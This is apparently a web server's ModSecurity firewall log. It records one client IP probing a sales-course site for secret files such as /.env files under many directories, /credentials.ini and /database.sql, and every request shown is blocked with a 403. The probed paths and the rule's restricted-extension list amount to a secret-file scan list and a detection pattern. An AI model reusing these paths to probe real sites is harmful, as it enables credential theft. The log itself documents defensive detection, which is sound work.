[Mon Oct 26 22:39:39.269016 2026] [security2:error] [pid 3144820:tid 3144820] [client 34.79.12.228:36628] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/config/.env"] [unique_id "auAO6yOYJjK4Eh4U5Qme7wAAAAY"]
[Mon Oct 26 22:39:39.269175 2026] [security2:error] [pid 3144820:tid 3144820] [client 34.79.12.228:36628] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/config/.env"] [unique_id "auAO6yOYJjK4Eh4U5Qme7wAAAAY"]
[Mon Oct 26 22:39:39.269402 2026] [security2:error] [pid 3144820:tid 3144820] [client 34.79.12.228:36628] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/config/.env"] [unique_id "auAO6yOYJjK4Eh4U5Qme7wAAAAY"]
[Mon Oct 26 22:39:39.272403 2026] [security2:error] [pid 3142596:tid 3142596] [client 34.79.12.228:36596] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /core/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/core/.env"] [unique_id "auAO6_YA9VE6YOVz3TBNvQAAABE"]
[Mon Oct 26 22:39:39.272543 2026] [security2:error] [pid 3142596:tid 3142596] [client 34.79.12.228:36596] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/core/.env"] [unique_id "auAO6_YA9VE6YOVz3TBNvQAAABE"]
[Mon Oct 26 22:39:39.272811 2026] [security2:error] [pid 3142596:tid 3142596] [client 34.79.12.228:36596] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/core/.env"] [unique_id "auAO6_YA9VE6YOVz3TBNvQAAABE"]
[Mon Oct 26 22:39:39.284243 2026] [security2:error] [pid 3144852:tid 3144852] [client 34.79.12.228:36580] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".ini"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "curso-de-ventas.com"] [uri "/credentials.ini"] [unique_id "auAO6yx89dM6HoCaCT-niQAAABU"]
[Mon Oct 26 22:39:39.284445 2026] [security2:error] [pid 3144852:tid 3144852] [client 34.79.12.228:36580] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/credentials.ini"] [unique_id "auAO6yx89dM6HoCaCT-niQAAABU"]
[Mon Oct 26 22:39:39.284679 2026] [security2:error] [pid 3144852:tid 3144852] [client 34.79.12.228:36580] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/credentials.ini"] [unique_id "auAO6yx89dM6HoCaCT-niQAAABU"]
[Mon Oct 26 22:39:39.287340 2026] [security2:error] [pid 3144821:tid 3144821] [client 34.79.12.228:36548] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "curso-de-ventas.com"] [uri "/database.sql"] [unique_id "auAO67tiWD9g5qPk3WNeRwAAAAc"]
[Mon Oct 26 22:39:39.287558 2026] [security2:error] [pid 3144821:tid 3144821] [client 34.79.12.228:36548] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/database.sql"] [unique_id "auAO67tiWD9g5qPk3WNeRwAAAAc"]
[Mon Oct 26 22:39:39.287786 2026] [security2:error] [pid 3144821:tid 3144821] [client 34.79.12.228:36548] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/database.sql"] [unique_id "auAO67tiWD9g5qPk3WNeRwAAAAc"]
[Mon Oct 26 22:39:39.288497 2026] [security2:error] [pid 3144834:tid 3144834] [client 34.79.12.228:36618] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /demo/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/demo/.env"] [unique_id "auAO61zBh5ooeihzFpChlAAAAAk"]
[Mon Oct 26 22:39:39.288622 2026] [security2:error] [pid 3144834:tid 3144834] [client 34.79.12.228:36618] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/demo/.env"] [unique_id "auAO61zBh5ooeihzFpChlAAAAAk"]
[Mon Oct 26 22:39:39.288883 2026] [security2:error] [pid 3144834:tid 3144834] [client 34.79.12.228:36618] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/demo/.env"] [unique_id "auAO61zBh5ooeihzFpChlAAAAAk"]
[Mon Oct 26 22:39:39.358248 2026] [security2:error] [pid 3137125:tid 3137125] [client 34.79.12.228:36620] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /dev/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/dev/.env"] [unique_id "auAO688F3ZZVbqNCqKaApQAAAAo"]
[Mon Oct 26 22:39:39.358447 2026] [security2:error] [pid 3137125:tid 3137125] [client 34.79.12.228:36620] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/dev/.env"] [unique_id "auAO688F3ZZVbqNCqKaApQAAAAo"]
[Mon Oct 26 22:39:39.358685 2026] [security2:error] [pid 3137125:tid 3137125] [client 34.79.12.228:36620] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/dev/.env"] [unique_id "auAO688F3ZZVbqNCqKaApQAAAAo"]
[Mon Oct 26 22:39:39.370320 2026] [security2:error] [pid 3144856:tid 3144856] [client 34.79.12.228:36562] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /frontend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/frontend/.env"] [unique_id "auAO6yOodMWIbKjvKGh79gAAABk"]
[Mon Oct 26 22:39:39.370439 2026] [security2:error] [pid 3144856:tid 3144856] [client 34.79.12.228:36562] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/frontend/.env"] [unique_id "auAO6yOodMWIbKjvKGh79gAAABk"]
[Mon Oct 26 22:39:39.370652 2026] [security2:error] [pid 3144856:tid 3144856] [client 34.79.12.228:36562] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/frontend/.env"] [unique_id "auAO6yOodMWIbKjvKGh79gAAABk"]
[Mon Oct 26 22:39:39.370697 2026] [security2:error] [pid 3144856:tid 3144856] [client 34.79.12.228:36562] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-global": Permission denied [hostname "curso-de-ventas.com"] [uri "/frontend/.env"] [unique_id "auAO6yOodMWIbKjvKGh79gAAABk"]
[Mon Oct 26 22:39:39.370746 2026] [security2:error] [pid 3144856:tid 3144856] [client 34.79.12.228:36562] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-ip": Permission denied [hostname "curso-de-ventas.com"] [uri "/frontend/.env"] [unique_id "auAO6yOodMWIbKjvKGh79gAAABk"]
[Mon Oct 26 22:39:39.412226 2026] [security2:error] [pid 3142605:tid 3142605] [client 34.79.12.228:36640] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /laravel/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/laravel/.env"] [unique_id "auAO60V4AUzwl86DWirnaQAAABI"]
[Mon Oct 26 22:39:39.412412 2026] [security2:error] [pid 3142605:tid 3142605] [client 34.79.12.228:36640] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/laravel/.env"] [unique_id "auAO60V4AUzwl86DWirnaQAAABI"]
[Mon Oct 26 22:39:39.412642 2026] [security2:error] [pid 3142605:tid 3142605] [client 34.79.12.228:36640] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/laravel/.env"] [unique_id "auAO60V4AUzwl86DWirnaQAAABI"]
[Mon Oct 26 22:39:39.432744 2026] [security2:error] [pid 3142595:tid 3142595] [client 34.79.12.228:36576] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /media/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/media/.env"] [unique_id "auAO63fB5_cr2AuVp7R4IAAAABA"]
[Mon Oct 26 22:39:39.432895 2026] [security2:error] [pid 3142595:tid 3142595] [client 34.79.12.228:36576] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/media/.env"] [unique_id "auAO63fB5_cr2AuVp7R4IAAAABA"]
[Mon Oct 26 22:39:39.433119 2026] [security2:error] [pid 3142595:tid 3142595] [client 34.79.12.228:36576] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/media/.env"] [unique_id "auAO63fB5_cr2AuVp7R4IAAAABA"]
[Mon Oct 26 22:39:39.434159 2026] [security2:error] [pid 3144820:tid 3144820] [client 34.79.12.228:36628] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /new/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/new/.env"] [unique_id "auAO6yOYJjK4Eh4U5Qme8QAAAAY"]
[Mon Oct 26 22:39:39.434298 2026] [security2:error] [pid 3144820:tid 3144820] [client 34.79.12.228:36628] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/new/.env"] [unique_id "auAO6yOYJjK4Eh4U5Qme8QAAAAY"]
[Mon Oct 26 22:39:39.434516 2026] [security2:error] [pid 3144820:tid 3144820] [client 34.79.12.228:36628] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/new/.env"] [unique_id "auAO6yOYJjK4Eh4U5Qme8QAAAAY"]
[Mon Oct 26 22:39:39.435401 2026] [security2:error] [pid 3137125:tid 3137125] [client 34.79.12.228:36620] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /old/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/old/.env"] [unique_id "auAO688F3ZZVbqNCqKaApgAAAAo"]
[Mon Oct 26 22:39:39.435524 2026] [security2:error] [pid 3137125:tid 3137125] [client 34.79.12.228:36620] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/old/.env"] [unique_id "auAO688F3ZZVbqNCqKaApgAAAAo"]
[Mon Oct 26 22:39:39.435782 2026] [security2:error] [pid 3137125:tid 3137125] [client 34.79.12.228:36620] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/old/.env"] [unique_id "auAO688F3ZZVbqNCqKaApgAAAAo"]
[Mon Oct 26 22:39:39.444815 2026] [security2:error] [pid 3144852:tid 3144852] [client 34.79.12.228:36580] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /production/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/production/.env"] [unique_id "auAO6yx89dM6HoCaCT-niwAAABU"]
[Mon Oct 26 22:39:39.444968 2026] [security2:error] [pid 3144852:tid 3144852] [client 34.79.12.228:36580] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/production/.env"] [unique_id "auAO6yx89dM6HoCaCT-niwAAABU"]
[Mon Oct 26 22:39:39.445280 2026] [security2:error] [pid 3144852:tid 3144852] [client 34.79.12.228:36580] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/production/.env"] [unique_id "auAO6yx89dM6HoCaCT-niwAAABU"]
[Mon Oct 26 22:39:39.446201 2026] [security2:error] [pid 3144856:tid 3144856] [client 34.79.12.228:36562] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /public/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/public/.env"] [unique_id "auAO6yOodMWIbKjvKGh79wAAABk"]
